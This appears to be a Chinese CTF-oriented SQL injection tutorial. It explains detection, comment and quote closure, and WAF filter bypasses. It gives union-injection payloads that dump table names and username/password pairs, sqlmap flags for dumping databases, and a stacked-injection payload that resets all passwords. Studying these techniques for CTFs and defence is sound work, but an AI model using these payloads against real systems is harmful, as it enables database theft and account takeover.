0×01原理

攻击者在进行数据库查询时恶意构造查询语句,使得查询语句能够得到任意攻击者想要的信息(永远不要相信用户的输入)

0×02类型

按查询来分可分为字符型和数字型(主要区别是字符型需要闭合而数字型无闭合)

按注入方式可分为union注入、报错注入、盲注、文件上传注入等

判断方法

判断有无注入

首先在参数后加上单引号(无论字符型还是数字型都会因单引号个数不匹配报错)

判断注入类型

1.输入and 1=1和and 1=2 若均为正常则为字符型,第二个报错即为数字型

2.输入id=1和id=2-1 若结果相同则为数字型,第二个不同则为字符型

以ctfshow171举例

image-20241209184228405

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

传入的id参数被嵌入到查询语句中,那么只需要在传入参数时将前单引号闭合,后单引号注释,就能获得想得到的数据(以下仅剖析id=的语句)

id='1' and 1=1--+'  传入参数为1' and 1=1--+,--+是为了注释掉后面的引号,有回显有数据

image-20241209184944216

id='1' and 1=2--+'  传入参数为1' and 1=2--+,有回显无数据未报错

image-20241209185248009

id='1'              传入参数为1,有数据

image-20241209185717397

id='2-1'            传入参数为2-1,有数据,但与上述不同

image-20241209185602570

即都可判断出该题为字符型注入

0×03前置学习

1.闭合方式(数字型不用管闭合方式)

常见闭合有’ “ ‘) “)等,实际注入过程中可以多次尝试

2.注释符

常见注释符有–+,#,%23等

3.常规注入方法

  1. 查找注入点
  2. 判断字符型还是数字型,若是字符型要找到闭合方式
  3. 查询列数(order by,group by进行二分法判断)
  4. 找到回显位(id通常传参为不存在数据0或者-1,使回显能够直接显示而没有查询出来的数据进行干扰)
  5. 爆数据库名
  6. 爆表名
  7. 爆列名
  8. 爆数据

4.常见过滤及绕过

空格过滤

编码绕过:%20 %09 %0a %0b %0c %0d %a0 %00

内联注释:/**/ /*字符串*/

括号绕过:即添加括号代替空格,比如我们的正常语句为select user from ctfshow,现在我们就可以改成select(user)from(ctfshow)

注释符过滤

–+,#,%23,–%0c,–%01(控制字符,用于特殊文件开头,可用于注释符)

也可以用”||”1、” or “1”=”1,甚至是”union select 1,2,”3进行闭合

select过滤

复写绕过(比如seselectlect),大小写绕过(比如Select)

引号过滤

转为16进制字符串,这样就不用使用引号

逗号过滤

from for(盲注)

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
等价于mid/substr(database(),1,1)

offset

盲注的时候除了substr()mid()需要使用逗号,limit()也会使用逗号,比如语句select * from sheet1 limit 0,1 ,这时我们可以使用select * from sheet1 limit 1 offset 0 等效替代

join

select 1,2等价于select * from (select 1)a join (select 2)b

like

select ascii(mid(user(),1,1))=114等价于select user() like ‘r%’,即逐个字符串比较,我们可以暴力破解%前的字符串,直到爆破出select user() like ‘root@localhost’,得到真正的用户名

or and xor not过滤

and=&&
or=||
xor=^
not=!

一.union注入

概念

联合注入即union注入,其作用就是,在原来查询条件的基础上,通过系统关键字union从而拼接上我们自己的select语句,然后把后面select得到的结果将拼接到前面select的结果后边。如:前个select得到2条数据,后个select也得到2条数据,那么后个select的数据将拼接到第一个select返回的内容中。

联合注入有它的利用条件,UNION 内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型,每条 SELECT 语句中的列的顺序必须相同。即

>select 1,2,3 from table_name1 union select 4,5,6 from table_name2;

运用函数

group_concat(a)                 将a中所有数据在一行中输入出来
group_concat(a,b,c) 将a和c中间以b连接在一行中输出

关键库,表,列

information_schema:包含mysql简要信息的集合

information_schema.tables:表名集合表

information_schema.columns:列名集合表

information_schema.statistics:索引集合表

查询语句

id=0' union select 1,2,3 --+(判断回显位)
id=0' union select 1,database(),3--+(爆库名)
id=0' union select 1,table_name,3 from information_schema.tables where table_schema='database()'--+(爆该数据库中所有表名)
id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security'and table_name='users'--+(在security库,users表中爆所有列名)
id=0' union select 1,group_concat(username,'~',password),3 from users--+(在user表中输出所有username和password,之间以~连接)
id=0' union select 1,(select password from users where username='flag'),3--+(使用子查询语句查询user表中username为flag的password)

二.报错注入

三.布尔盲注

四.时间盲注

五.sqlmap注入

简介

sqlmap是一款kali自带的基于python的自动化SQL注入工具,打开后输入python sqlmap.py出现以下界面即可使用

image-20241229181644397

基本语法

目标

-u                                指定url,检测注入点

-m 指定文件(可批量扫描)

-r post请求(BP抓包放到文件中)

--cookie cookie注入

-D 指定数据库

-T 指定表

-C 指定列

脱库

-b                                获取数据库版本

--current-db 当前数据库

--dbs 获取数据库

--tables 获取表

--columns 获取列

--schema 字段类型

--dump 获取数据

--start 开始的行

--stop 结束的行

--search 搜索库/表/字段

--tamper WAF绕过

其他

--batch                           不再询问确认

--method=GET 指定请求方式

--random-agent 随机UA

--user-agent XX 指定UA

--referer XX 指定referer

--proxy=" " 代理

--threads 10 线程数(1-10)

--level=1 测试等级(1-5)

--risk=1 风险等级(0-3)

六:其他注入

limit注入

堆叠注入

概念

通过添加一个新的查询或者终止查询( ; ),可以达到修改数据和调用存储过程的目的

在我们的Web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生的错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

比如在对username进行注入时,构造payload如下(已知表名为ctfshow_web,列名为password)

admin;updata ctfshow_web set password=1; #进行查询后将用户密码设为1,下次即可直接用1登录